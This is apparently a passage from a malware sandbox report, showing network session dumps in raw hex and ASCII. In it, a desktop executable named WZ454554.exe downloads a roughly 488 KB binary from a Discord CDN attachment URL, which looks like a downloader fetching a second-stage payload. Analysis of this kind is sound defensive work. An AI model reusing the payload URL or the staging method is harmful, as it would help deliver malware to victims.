64 d5 bf ce b1 9c c1 93 2d 4b 8e e6 14 b4 f6 c9 24 47 85 0e 87 13 12 cb d8 12 8f 65 46 f7 0b 00 68 4e 14 d0 45 dc 4f d6 c3 6f dd d1 b6 fb 13 56 56 de 53 Data Ascii: b5]1T"thb:i x-K@u?ZQ?se{X*^HeF6#t(p$ ]~n[vDrd3Y9fI^HthN-4ZlWqoVV"5bAxqrdENd-K$GeFhNEOoVVS
2022-01-13 19:22:18 UTC	507	IN	Data Raw: be 79 f4 ba 87 02 18 1d 28 c6 58 dd b7 5f cf b2 f2 ff e3 e3 c0 65 c7 a0 b5 87 36 1d a1 44 b8 74 0e 87 13 13 e4 88 95 32 d6 47 6d d9 c8 21 31 bd 8a 99 3b 5b 59 a7 2d 4b 77 6f dd d1 b6 fb ef bc cf 64 cc e8 e0 0b 56 71 02 a8 5f 56 ad 32 46 03 e2 9e 98 5d 3d 46 27 1e 80 ab 4b a4 f3 26 94 ef dd f1 d0 1e ea 44 d3 9b 1b 63 ee 5d 96 90 e6 48 23 15 3c ac cf 92 8f 09 bb a2 ee 5d 9b 7f 41 55 80 a9 1e ea 4a 26 96 f4 c4 3e db e0 18 b4 d2 13 3a a8 9c ec 58 0e c7 e0 72 49 ad 27 7e 55 80 ae a9 77 c5 b8 d7 84 cc 0f 29 68 0e c7 8a b9 a5 15 56 66 6d f3 42 ba 44 d4 19 dc 11 a9 ad 9b 71 69 d5 cb 5f 3f 87 66 c2 43 bf 53 7d bf d6 19 e0 a7 a6 9a 55 a1 a7 59 ad 67 c1 7b f4 6f 77 e5 97 1c 9a ba 70 44 c2 46 52 03 9a fd 24 b4 7c 7a 76 6d dc f6 64 18 9e c5 dc cb f8 16 04 fd f3 02 a7 Data Ascii: y(X_e6Dt2Gm!1;[Y-KwodVq_V2F]=F'K&Dc]H#<]AUJ&>:XrI'~Uw)hVfmBDqi_?fCS}UYg{owpDFR$\|zvmd
2022-01-13 19:22:18 UTC	523	IN	Data Raw: 6a b9 7e 80 78 d9 20 a6 f3 46 88 57 a9 4f e8 b0 d4 24 cb 60 b9 52 34 c4 67 16 a1 57 d4 77 c9 d1 6d 5c cf ea e5 ce 44 3e 74 3b aa 6b 16 67 33 a6 78 98 78 fa 52 e2 a3 ae 5e d1 b6 bb 0b c3 47 0c d9 db 46 fc 69 35 50 f1 05 b3 f9 07 82 7f 49 76 9d 4d ee 3e 09 b3 ff 44 01 15 f0 f1 15 ea 26 37 31 47 0c 81 8e 60 b5 87 ec 89 f6 60 c0 53 14 57 21 62 73 92 e2 a4 99 b1 48 73 34 5e 28 4b 4d 92 eb b4 73 5e 38 27 3c 98 78 f4 14 57 50 59 52 ed f0 05 b1 88 c5 17 10 ff dc ca e7 6c 94 f4 da 15 eb c8 21 44 27 06 65 2c 08 69 39 a7 55 d1 4b b6 eb 85 d7 fc cc 3e 1a 71 cb 55 e2 d7 d8 ad b7 54 de 04 fb 30 39 a6 d6 65 b2 2b 7e 7f fe 9a bd 6b 54 22 4c 10 8b f8 0c 92 df 9f 72 11 f0 43 6b a1 06 34 ae 30 ea 71 69 de d8 64 31 57 4a 88 cf b6 3c 6f d9 0e 04 76 86 72 11 47 8d e7 64 4d 54 Data Ascii: j~x FWO$`R4gWwm\D>t;kg3xxR^GFi5PIvM>D&71G``SW!bsHs4^(KMs^8'<xWPYRl!D'e,i9UK>qUT09e+~kT"LrCk40qid1WJ<ovrGdMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49750	162.159.130.233	443	C:\Users\user\Desktop\WZ454554.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-13 19:22:46 UTC	537	OUT	GET /attachments/801846679439016010/931166967853875200/Hyrzbcwcasllzbwmlqsydewtjitxnzf HTTP/1.1 User-Agent: 11 Host: cdn.discordapp.com Cache-Control: no-cache
2022-01-13 19:22:46 UTC	537	IN	HTTP/1.1 200 OK Date: Thu, 13 Jan 2022 19:22:46 GMT Content-Type: application/octet-stream Content-Length: 488448 Connection: close CF-Ray: 6cd0fec59d4f8b8f-FRA Accept-Ranges: bytes Age: 21566 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Hyrzbcwcasllzbwmlqsydewtjitxnzf ETag: "6ce484ddb0699821883415a6a3c03422" Expires: Fri, 13 Jan 2023 19:22:46 GMT Last-Modified: Thu, 13 Jan 2022 12:45:05 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1642077905426119 x-goog-hash: crc32c=ezqS6w== x-goog-hash: md5=bOSE3bBpmCGINBWmo8A0Ig== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 488448 X-GUploader-UploadID: ADPycdvRzXtsPBcamJvr00nxQdLhRJEMoAYpY8SiWiAVO9bYx2AneSL0MYtS-kyeIcV-aXT9cMB6Wue_WC7NzP4DAPhWzq96GQ X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2022-01-13 19:22:46 UTC	538	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 4d 25 32 42 64 73 69 4d 6b 55 51 73 78 32 6f 63 53 42 25 32 46 44 6f 35 76 63 35 48 58 31 35 47 58 51 78 31 6a 6c 48 68 5a 79 38 5a 64 61 6b 72 65 69 53 43 35 44 39 53 37 56 73 44 6e 6a 66 39 43 36 4e 74 57 7a 31 5a 55 49 25 32 42 78 34 73 46 6d 36 43 4f 33 4b 6d 59 69 51 59 62 53 78 45 65 50 42 7a 32 56 7a 59 6a 76 65 76 68 77 32 42 68 7a 50 50 31 68 74 73 57 62 42 38 6b 49 4e 70 48 39 71 46 5a 38 58 6e 44 71 59 77 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=M%2BdsiMkUQsx2ocSB%2FDo5vc5HX15GXQx1jlHhZy8ZdakreiSC5D9S7VsDnjf9C6NtWz1ZUI%2Bx4sFm6CO3KmYiQYbSxEePBz2VzYjvevhw2BhzPP1htsWbB8kINpH9qFZ8XnDqYw%3D%3D"}],"group":"cf-nel","max_age":
2022-01-13 19:22:46 UTC	539	IN	Data Raw: 18 da 04 39 22 f7 4a 5b f6 c6 57 ec 36 9e 95 6a 0a 39 28 89 53 db 8c ce 77 a1 05 b7 39 27 6e 03 b6 bc 46 4a 4f d3 fa c1 d4 73 af 2f 14 d5 ef a1 14 d3 f5 4f d3 ff 5d e6 22 fd 51 df 91 68 1e f2 d8 01 a4 9a f9 4b cf e2 1b 6d 90 e2 18 dc 1f 74 30 95 7c 33 1d 6c 16 c8 64 0b 49 cd ea 2f 00 30 8a de 1d 61 fa d5 fe ca 60 72 2d 0f 4d d3 eb a8 84 cb e7 ae ad 23 74 38 a3 1f 65 83 4e 55 f4 dc 17 5d f8 c4 5e 7c 3b 3a af 25 73 a2 8a d8 16 c0 49 ce 7e 36 9b 7b b9 d1 f1 b3 3d 2b 03 af 3b 32 8e e5 ad 2e 89 53 de 03 a9 10 c2 51 df 94 ff 44 a6 90 e8 20 ea 2a 84 dc 08 37 28 84 c8 62 11 55 fc d1 f8 c4 5e 7c 3b 3a af 25 73 a2 8a d8 16 c0 49 ce 7e 36 9b 7b b9 d1 f1 b3 3d 2b 03 af 3b 32 8e e5 ad 2e 89 53 de 03 a9 10 c2 51 df 94 ff 44 a6 90 e8 20 ea 2a 84 dc 2d 2e ac 8a c9 f7 58 Data Ascii: 9"J[W6j9(Sw9'nFJOs/O]"QhKmt0\|3ldI/0a`r-M#t8eNU]^\|;:%sI~6{=+;2.SQD 7(bU^\|;:%sI~6{=+;2.SQD -.X
2022-01-13 19:22:46 UTC	540	IN	Data Raw: 82 5f 6b 1f f7 d8 8a 47 5c f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc e5 23 e6 bd 4c d7 1e 78 a0 00 b0 2f 8a 54 e3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce e1 18 47 59 64 86 48 c8 fa 57 66 94 72 ba d6 9e 1a 6c 96 70 a0 11 ce e1 0b ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16 45 40 36 18 52 db 0c 4d 55 6e 80 5a ed 2e 11 c4 d9 0c 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 e1 08 a7 9e 1e 7b 24 77 26 79 37 a7 90 6c 9e 07 33 82 59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea b1 b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68 81 cc ee af ae 20 6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e 0e 42 22 7e a2 13 d0 f5 c7 7e a7 82 5d 6a 81 c5 4f 5b 7d 27 fb d6 9d 8f ec a0 0c 41 a4 00 bb 54 fc 52 c4 c0 df 07 2a 04 a2 04 af b5 b0 Data Ascii: _kG\MZ]x#Lx/ThGYdHWfrlp@)1rON(YTE@6RMUnZ.EQYw7{$w&y7l3Yaday:5PH)KJE[h m6LB0.B"~~]jO[}'ATR
2022-01-13 19:22:46 UTC	541	IN	Data Raw: 49 58 e8 a0 00 a7 82 5f 6b 1f f7 d8 8a 47 5c f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc e5 23 e6 bd 4c d7 1e 78 a0 00 b0 2f 8a 54 e3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce e1 18 47 59 64 86 48 c8 fa 57 66 94 72 ba d6 9e 1a 6c 96 70 a0 11 ce e1 0b ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16 45 40 36 18 52 db 0c 4d 55 6e 80 5a ed 2e 11 c4 d9 0c 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 e1 08 a7 9e 1e 7b 24 77 26 79 37 a7 90 6c 9e 07 33 82 59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea b1 b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68 81 cc ee af ae 20 6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e 0e 42 22 7e a2 13 d0 f5 c7 7e a7 82 5d 6a 81 c5 4f 5b 7d 27 fb d6 9d 8f ec a0 0c 41 a4 00 bb 54 fc 52 c4 c0 df 07 2a Data Ascii: IX_kG\MZ]x#Lx/ThGYdHWfrlp@)1rON(YTE@6RMUnZ.EQYw7{$w&y7l3Yaday:5PH)KJE[h m6LB0.B"~~]jO[}'ATR
2022-01-13 19:22:46 UTC	542	IN	Data Raw: 89 d4 e3 16 58 f2 49 58 e8 a0 00 a7 82 5f 6b 1f f7 d8 8a 47 5c f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc e5 23 e6 bd 4c d7 1e 78 a0 00 b0 2f 8a 54 e3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce e1 18 47 59 64 86 48 c8 fa 57 66 94 72 ba d6 9e 1a 6c 96 70 a0 11 ce e1 0b ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16 45 40 36 18 52 db 0c 4d 55 6e 80 5a ed 2e 11 c4 d9 0c 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 e1 08 a7 9e 1e 7b 24 77 26 79 37 a7 90 6c 9e 07 33 82 59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea b1 b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68 81 cc ee af ae 20 6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e 0e 42 22 7e a2 13 d0 f5 c7 7e a7 82 5d 6a 81 c5 4f 5b 7d 27 fb d6 9d 8f ec a0 0c 41 a4 00 bb 54 fc Data Ascii: XIX_kG\MZ]x#Lx/T*hGYdHWfrlp@)1rON(YTE@6RMUnZ.EQYw7{$w&y7l3Yaday:5PH)KJE[h m6LB0.B"~~]jO[}'AT
2022-01-13 19:22:46 UTC	544	IN	Data Raw: 91 51 72 a1 86 4c b9 e6 1a c1 15 d2 58 b8 39 39 ea b1 50 82 2e ad df 7a 7b 3e 2c a7 ce e6 37 c9 7e 56 2e 7f 2a 95 fc 52 df b7 80 b8 16 cc ae 52 4f b8 22 d1 cd 04 b1 be 67 ea aa 87 68 ee 23 9a 03 4f c6 3f a5 f1 4d 20 74 6c 69 19 dc 1d e0 12 4a 6f f9 d6 0d 34 0f 5a ba bd bf 28 17 7d 88 48 63 71 a4 9e 6a ee 7e 57 67 72 72 df 04 d3 a2 bc db c3 79 4a b0 fc 36 db 78 b5 65 38 5f 1a bd 8b f8 32 62 45 af 08 86 9b fd a9 37 46 d7 a5 a6 b9 7e 6f 05 59 b4 27 99 17 1b 91 59 b6 57 84 9d ed 87 0e 26 6f a6 76 01 4f 58 4a 7e bc 61 9f 98 20 cb f9 21 8f 1a 50 c7 82 20 c9 74 fc de 07 82 24 db 6f 3d d1 e7 52 ad 31 75 39 de ea d4 ea 5c 76 b5 bd f3 05 59 e6 7e 08 a9 dd 66 7c 9f 26 96 69 33 1a 1c 96 de ea 1f 00 1e b1 f1 2d d5 31 d0 14 6b 57 b8 e3 08 5e 42 1e fe c9 6f 77 8d ee 03 Data Ascii: QrLX99P.z{>,7~V.*RRO"gh#O?M tliJo4Z(}Hcqj~WgrryJ6xe8_2bE7F~oY'YW&ovOXJ~a !P t$o=R1u9\vY~f\|&i3-1kW^Bow
2022-01-13 19:22:46 UTC	545	IN	Data Raw: a8 b6 2e 0a b1 fc 72 81 10 89 69 d4 f8 41 a9 f2 b1 39 fc 80 f5 13 d3 7b 2c bc ac 5a 6c 43 04 7e ad ae 37 df 0b ca 8c 84 f0 62 94 7a b7 da 4f 98 d2 3e d6 52 d0 fc 43 f8 b9 c8 5f bf bf 8e 68 9c 0a e2 5f a5 37 6f af 6e 8f ef 3c af d1 0f 37 7c 50 14 5c e4 a1 2b 18 fa dd cb 85 e4 b6 2b 85 b0 2c 0c 23 31 71 0f cc ea bb 8f 4e 4c 52 19 6e aa 2b 95 e5 46 cb 61 19 17 60 ce fb cf 62 09 5a 92 eb e8 1c 55 72 ab ae b2 8c eb 5a 27 4f 71 32 00 a5 20 50 f2 6c 54 53 6e 92 7e a8 92 6f 19 e7 e2 2a 3d b8 28 1d bc 4a 35 70 7b 8c 4f 59 61 77 1b 3b 71 9e c6 31 96 73 33 87 43 fd 90 61 a4 f4 57 63 1d fe 2f e3 78 c3 94 d7 0d d6 9e 02 0f 7f 7d 48 1b 0e 40 37 ab b5 f8 be 35 de 4c 3f b2 3f ba cd 9a 1d 87 51 84 f5 d5 71 2d 87 29 f1 5b f8 97 40 30 1f fd cf bb 13 81 fa 96 93 99 fa 45 4a Data Ascii: .riA9{,ZlC~7bzO>RC_h_7on<7\|P\++,#1qNLRn+Fa`bZUrZ'Oq2 PlTSn~o*=(J5p{OYaw;q1s3CaWc/x}H@75L??Qq-)[@0EJ
2022-01-13 19:22:46 UTC	546	IN	Data Raw: b0 97 dc 9f 86 4d 6a 71 c6 4d 95 4e e4 a1 8d ea 84 89 00 12 96 c8 d3 6e 9d 9d 55 20 29 a5 49 a7 bc cf 66 95 f4 3d d1 ac f3 74 9a 7e a3 83 c5 45 4a c2 1c d6 ac 20 6f 12 b7 bf 53 67 d1 9e 34 1c 71 2f 55 3f e4 86 93 58 ce e1 0b c6 79 bb b3 a4 de 3c 26 60 f1 28 05 e4 7c 07 ff 31 8e 61 6c 85 b8 55 00 c7 aa 93 f9 c2 c1 5f 5e 23 31 da 57 82 42 34 0b cc 45 c9 ef 34 c4 30 15 d4 eb 30 5c 70 25 11 15 3e 2e 0f da 9a 3d 28 81 98 bc 79 3b a2 00 a8 99 9c 76 22 b6 cb 71 25 f6 43 aa 86 c3 15 09 87 b4 27 f4 49 8c 96 bc 94 ba 28 7b 2d 95 e1 78 7e 7c 19 1e d1 0c 45 4d 59 97 f0 af 8a 8f 5e 8b db 1f fe a5 bb 6b 8a 87 3f d1 67 03 25 1a 39 fa 5a 20 9e 6d 19 c9 71 d8 e6 c3 be 13 7d 55 69 05 24 41 0e fc c9 a4 a9 14 5f 67 1b c0 0f 06 e7 e3 b1 30 11 df 07 84 e5 8a 3a f7 24 f5 d4 e1 Data Ascii: MjqMNnU )If=t~EJ oSg4q/U?Xy<&`(\|1alU_^#1WB4E400\p%>.=(y;v"q%C'I({-x~\|EMY^k?g%9Z mq}Ui$A_g0:$
2022-01-13 19:22:46 UTC	548	IN	Data Raw: 01 fe b2 30 01 3c 39 f5 27 95 ee 62 3f bc c1 54 ed c7 00 9a de 51 e5 2b 9e 09 2a ac f1 ce 6d cf c4 db 10 4b 5a e7 24 7a be 18 e5 31 9a 74 b6 a9 a6 53 b0 f7 77 22 65 12 4e ed 22 51 03 e9 cb 75 25 f2 55 43 63 0c 5c 36 ef 4c d9 1a 6a fe 09 84 63 cd dc f6 5f 71 27 50 c5 fa 97 2b 6d 60 f7 dc 8f 47 27 0a 31 4e 38 42 2e 1d ea 3e 53 4c 78 75 ce 89 d1 77 3a a6 27 56 fc 92 da e7 2f 82 50 83 de 8a f5 0e fd be c4 c6 ce 49 46 78 d6 5a 5a 16 4d 5d 7a 6b 05 64 6a 5a 5e 76 be da 87 cf d0 bf 13 11 7c 31 9e 10 5c 99 95 a2 c6 1b 55 e0 8c 49 54 f5 6a 6e 20 b5 0c b9 4c dc 86 b6 37 85 6d da 65 8d e4 b4 28 d0 f6 ac 15 0c a5 7c b2 2c 1f 56 21 c8 58 29 3a 99 eb 2c 0e 88 fd b3 23 29 6f f0 ba ce e7 27 a9 59 35 42 d5 94 61 77 26 32 28 03 38 fb 6a 7b 32 19 d3 71 4f 3b e6 7f 77 4f 5e Data Ascii: 0<9'b?TQ+*mKZ$z1tSw"eN"Qu%UCc\6Ljc_q'P+m`G'1N8B.>SLxuw:'V/PIFxZZM]zkdjZ^v\|1\UITjn L7me(\|,V!X):,#)o'Y5Baw&2(8j{2qO;wO^
2022-01-13 19:22:46 UTC	549	IN	Data Raw: 3f 4e 01 98 0b d6 9e 19 5a 3d 17 86 8d 5a 89 c0 df 08 22 56 0b c4 1d 54 86 57 69 1a bb 6a 3f 90 bf f3 ae 3b ac 3b dd 30 8e 9c dd ff ad a7 8d fc e2 39 bb 51 8d 56 1c 62 9d 91 f6 6f 1f 55 ad 17 5c f1 3c 23 98 01 11 7a 6b fd 53 5f 6d 14 d1 6d 86 3a eb 85 4e c2 c4 dc 25 c9 81 86 9d 2c 8b c0 dc 9a 9c d8 9a c4 12 a2 fc 52 cf 60 87 3c ea 8d 2a b6 cb 63 17 d6 bc dd b6 11 10 a1 31 9d 93 e1 3e e5 12 ed eb da 67 09 2d 8b be 61 35 74 70 48 74 ad b4 26 b7 c9 e2 5d b2 83 79 38 2a 05 84 24 3a 93 28 f0 c6 dd 1d e3 1d e3 43 1a be 70 da 9f 82 4a 97 7f 21 e8 7c 56 b8 2e 13 c1 17 96 c5 55 a5 2e 5a ec bf 44 b9 fc 21 e0 4e 6e cd 6a 80 51 13 bc 80 81 1b 0f 96 61 71 29 ed 1b d1 e6 6a 62 cc ef 2f 84 c0 b9 38 38 fb 7c fe 53 4a dc e7 cb 59 25 3b 10 00 a7 84 5b d3 3a 1d 71 e6 0a e3 Data Ascii: ?NZ=Z"VTWij?;;09QVboU\<#zkS_mm:N%,R`<c1>g-a5tpHt&]y8$:(CpJ!\|V.U.ZD!NnjQaq)jb/88\|SJY%;[:q
2022-01-13 19:22:46 UTC	551	IN	Data Raw: 54 96 94 64 41 98 0c fa 64 83 c6 c2 c9 b7 69 76 19 e0 8d ee aa 3d d5 63 a1 79 52 7f 83 be 6c 7a bc 65 03 f3 f3 b9 b1 9f 88 42 33 87 10 84 3e 8c 63 14 45 45 5b 19 dd 87 20 14 cd 2e 67 a8 01 f6 7f b4 c6 e3 10 40 37 a6 d8 40 5e 12 6f 15 cc f6 59 1c 70 0a 4c ad 0e 18 2d 2c 07 ea 8f 95 44 1c 79 3f b9 4b 9d 54 98 94 55 62 82 50 d6 e0 90 c0 26 15 42 6a e6 36 1c a6 2c 71 c9 41 a9 80 4d 53 84 96 1d 59 54 ee b0 23 f5 a0 1c f2 c5 3b 3b 1c 04 1c 77 fd f9 a5 76 84 50 c9 66 9d 5f bb 3d 1a 4f 5e f9 cf 75 5a e5 ca 6a fc 4a c3 54 e6 08 eb 5e 9d 6d 65 19 c0 d4 55 20 0a 31 a7 03 6e ec 52 24 03 51 84 ec df 17 aa 2a 0c 81 e3 75 bf 7c 61 66 f7 7e 90 74 b5 ab a1 26 97 60 e6 1f d2 f9 cb 6a 80 cf 5b d3 56 23 f1 5c 18 66 89 de 96 6c 3a 44 9a 63 e9 15 db 0b c9 63 cc c0 ac a4 31 37 Data Ascii: TdAdiv=cyRlzeB3>cEE[ .g@7@^oYpL-,Dy?KTUbP&Bj6,qAMSYT#;;wvPf_=O^uZjJT^meU 1nR$Q*u\|af~t&`j[V#\fl:Dcc17
2022-01-13 19:22:46 UTC	552	IN	Data Raw: de 48 18 36 ec b2 94 3d b8 fb dd 66 35 b6 26 7a b5 a4 91 bf e6 bf e1 5d 7c 47 15 bf e8 54 e0 46 d2 81 75 04 b3 b9 4f 52 7d ce 36 18 82 44 46 1a 57 01 98 52 d8 89 cc f3 5b 26 de 84 81 e0 f1 c8 f9 67 48 c5 bf 71 25 f7 d5 65 a3 c8 7a ba 0b 03 45 cb 64 2e 49 47 95 f3 b2 80 7a b4 37 bc cc 19 51 f8 57 94 e2 f1 a8 97 e8 04 4d 4f 94 7a d2 4e f0 ac 2a 1c 60 58 aa f5 dc 17 29 8d 2c 07 43 0c 7e b3 a5 84 42 9e fd 0c 57 aa 04 c3 91 d7 7c 05 04 26 fe 49 a0 22 72 a2 0e 54 71 a2 d5 74 75 f3 b9 cb 5b db 83 c5 92 62 e8 14 74 ad bc d1 74 21 b0 ec b5 0e 81 b4 c7 20 7a b1 54 85 65 5b 7b 5b 9b 68 91 f8 45 a0 11 10 44 5f c9 41 b1 b9 4b 47 ed be 1f f6 f4 79 25 f4 4c d1 aa 1a 0a 19 f1 ed 26 12 f5 fa 5e fc 5a f2 d1 38 c4 c4 6e b6 22 68 98 77 d3 75 b9 1a 7c 78 a0 6a 79 1a 68 88 53 Data Ascii: H6=f5&z]\|GTFuOR}6DFWR[&gHq%ezEd.IGz7QWMOzN*`X),C~BW\|&I"rTqtu[btt! zTe[{[hED_AKGy%L&^Z8n"hwu\|xjyhS
2022-01-13 19:22:46 UTC	553	IN	Data Raw: 7b 64 47 ef 24 c5 d0 91 06 e4 a3 82 4b a6 a5 ef 88 00 a6 1f fe f6 2d eb ad 3b b8 41 bc d1 f7 fe c4 30 62 3a 47 5a f1 54 4a 26 7c 1f 54 11 bc d4 f3 a0 0c bf fb ca ee 2e b9 be bd 45 5b fa 72 1c b9 2a e0 e0 8d a1 c3 fd 65 75 bc da 2b 68 fa 4a 69 ae 41 b1 56 9b aa 93 58 61 0e 57 03 62 0f 03 37 ac 24 6a 3a 72 a3 96 69 b3 09 3e c1 a3 9a 05 67 1b 15 91 f4 4c 96 18 bc 7a 73 6b 17 4f ee d9 9e 44 3b 6d 1d 95 41 11 79 59 78 cd fe 18 44 93 97 f7 ce ea d4 68 6b 75 8d ee 0f 6c 26 06 57 d0 8d fe 0a 69 86 29 8d 00 43 44 46 c4 d5 d5 d1 19 95 f8 56 9d e2 e7 23 cd 2c 0d c3 cd 17 30 ce 84 bc de 6b 51 bc 5e 6a 2d e2 82 40 de 2b 3f 51 e8 4d 17 26 2d 46 7d a1 c1 48 d9 05 29 93 e3 01 5d 10 56 f5 61 d8 f2 22 6d 13 86 51 3c 8c e6 c0 a3 c1 51 69 b8 26 67 5e f7 9a 60 ea e6 ad a4 f9 Data Ascii: {dG$K-;A0b:GZTJ&\|T.E[r*eu+hJiAVXaWb7$j:ri>gLzskOD;mAyYxDhkul&Wi)CDFV#,0kQ^j-@+?QM&-F}H)]Va"mQ<Qi&g^`
2022-01-13 19:22:46 UTC	555	IN	Data Raw: e3 1c 28 66 16 cf 2e 1a 6f 13 af 20 4c ad 7c 0c 96 07 3b 1a 7a 74 4a 1c 0f c1 1c 60 38 93 32 a6 05 6b 11 13 6f d3 2a 18 1f fe 97 4c 0a e0 98 3f bf 85 25 c7 2f 8c 37 a2 d7 e9 10 05 3a 7a b4 f8 a2 31 cb 71 79 3e ed 82 7f 9f 91 a0 1b b6 a9 2f ab a7 ec fc 48 dd ad 67 8a 1a 6e 37 46 9a 6e 93 f8 14 3a 43 bc 81 2c 05 32 f9 0f ce 5c 13 6b 5d 65 0d d4 9b 92 76 a6 44 3c 36 8f 8b 0c 39 b1 c8 50 d6 9f 67 d6 e4 be 13 be 67 ed e0 e2 31 0f 99 e1 1b f6 36 16 b3 5a ed 33 32 b5 00 d3 72 a4 13 39 6d 13 b7 a5 2c e8 ba d7 a5 05 24 7a a2 1c cc d9 c7 81 c3 56 e9 48 9a ec 0e dc 1d 09 a3 8a 2d 3f a3 93 f4 9c 5e 6d a3 09 70 cb 77 31 8c c0 3d e9 22 6d 0a df b6 83 50 bd 24 65 8c fc 52 c6 30 da f0 5e 36 5d 31 74 d3 74 c8 49 3e 91 be c6 c0 d1 72 04 59 35 85 c9 70 c5 19 c7 f5 20 fc 3d Data Ascii: (f.o L\|;ztJ`82ko*L?%/7:z1qy>/Hgn7Fn:C,2\k]evD<69Pgg16Z32r9m,$zVH-?^mpw1="mP$eR0^6]1ttI>rY5p =
2022-01-13 19:22:46 UTC	556	IN	Data Raw: 0e 55 7c b5 2f d4 85 86 55 37 a8 fc c1 14 5b 7f d0 8f 98 7a b8 61 7e ac 85 76 f3 c9 6f 0d a9 8e 17 53 5d 6a ca f4 da 69 68 f5 50 73 71 31 9a 60 95 f5 0c ca e6 ad e0 ed 71 22 61 19 83 c9 7b 4f 81 1d 51 8e e4 c9 c3 f6 16 4e ca e2 e5 28 8c af b3 b2 a9 3b 17 91 f4 56 e1 a7 43 a2 63 1f 75 8b d4 fd 80 5b db e9 f6 3b 31 32 4b 42 2f 92 08 bc 8b 56 e7 3b ff d5 32 7f 50 79 7b 33 84 52 bc b5 2c 9f 75 48 c8 fa ff 1c e9 4a d5 6d 1d 7d 37 a1 88 e7 f8 cc 0e 96 3c 5e bd 06 6c 90 79 37 a6 4a 61 46 85 11 89 35 0e fe 12 46 cc f7 9f 9a 0f 00 42 60 f0 af b9 41 a3 29 07 30 13 73 8f ab b7 ab af d3 eb 9b e8 a0 02 b2 53 5d 33 2e 13 cd c9 d3 3c 3f a0 1d b1 a9 f8 4e fb 39 a7 90 c1 fe 19 d9 0d c2 b5 0e 9a 0f a2 0c 6d 5e ff d2 ad 97 71 1b 93 b7 a4 46 c9 1b 84 50 bb 21 e9 3f 09 e5 d7 Data Ascii: U\|/U7[za~voS]jihPsq1`q"a{OQN(;VCcu[;12KB/V;2Py{3R,uHJm}7<^ly7JaF5FB`A)0sS]3.<?N9m^qFP!?
2022-01-13 19:22:46 UTC	557	IN	Data Raw: 4d f8 2d 49 24 d1 ce 13 a8 58 f9 86 50 91 ec e1 17 8c 43 f5 c7 2a 1b 77 b2 d9 19 c3 58 9a 3a 24 63 36 b2 08 eb fb 52 1b 44 07 7a 66 5d 1c 0b 9f 1c 0e df 14 32 8e 2e 6a c7 69 77 3f 6e 02 a2 0b 39 7a 0a 79 52 3c 99 e6 d6 93 ef 75 a0 62 10 a4 02 dc 94 7c 1e 83 29 ff cd 6c 05 84 53 3b a2 03 b8 d2 13 ad a5 9d 95 67 a8 04 b6 88 8b cd b7 b6 23 f7 d1 24 28 de c3 18 55 4e 94 07 41 fb c8 99 fb b0 b5 b5 0a b8 4f 5a ec aa 4b df 4d 20 2b 6e ae 44 d7 ff d0 f5 c2 7f 37 d2 1c 78 c0 68 ff c1 42 39 de 61 4b 06 b3 ab ba d8 ea 0f 24 66 8a 50 d6 00 8e 11 19 33 91 6a 91 18 40 f2 a8 13 97 f0 fb dc df b7 55 71 77 bd d2 ec bc c3 5f 73 0b 9f 91 e1 94 49 05 37 a1 90 7a cc 75 b1 91 f9 d1 65 64 db a6 ba e6 a7 9c 07 2d 4b 10 54 ee 27 a9 e8 e5 2d dd 08 24 c2 c9 79 22 62 ea d6 9a a9 c5 Data Ascii: M-I$XPC*wX:$c6RDzf]2.jiw?n9zyR<ub\|)lS;g#$(UNAOZKM +nD7xhB9aK$fP3j@Uqw_sI7zued-KT'-$y"b
